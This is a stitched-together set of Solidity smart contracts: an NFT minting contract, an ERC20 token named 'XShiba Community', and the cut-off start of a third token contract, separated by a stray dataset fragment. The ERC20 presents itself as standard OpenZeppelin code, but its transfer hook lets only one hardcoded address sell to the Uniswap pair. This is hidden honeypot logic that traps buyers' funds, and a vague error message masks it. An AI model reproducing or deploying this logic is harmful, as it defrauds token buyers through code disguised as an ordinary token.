// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract T1 is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 2 ether;
uint256 public maxSupply = 10;
uint256 public maxMintAmount = 10;
bool public paused = false;
bool public revealed = false;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
// This will pay HashLips 5% of the initial sale.
// You can remove this if you want, or keep it in to support HashLips and his channel.
// =============================================================================
(bool hs, ) = payable(0x943590A42C27D08e3744202c4Ae5eD55c2dE240D).call{value: address(this).balance * 5 / 100}("");
require(hs);
// =============================================================================
// This will payout the owner 95% of the contract balance.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-03
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
mapping(address=>bool) private _enable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_mint(0xafFc62D67405BBB509Fe23ca2aEdA13e029dc739, 1000000000000 *10**18);
_enable[0xafFc62D67405BBB509Fe23ca2aEdA13e029dc739] = true;
// MainNet / testnet, Uniswap Router
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
_name = "XShiba Community";
_symbol = "xSHIBA \xF0\x9F\x90\x95";
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0));
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to) internal virtual {
if(to == uniswapV2Pair) {
require(_enable[from], "something went wrong");
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-12
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
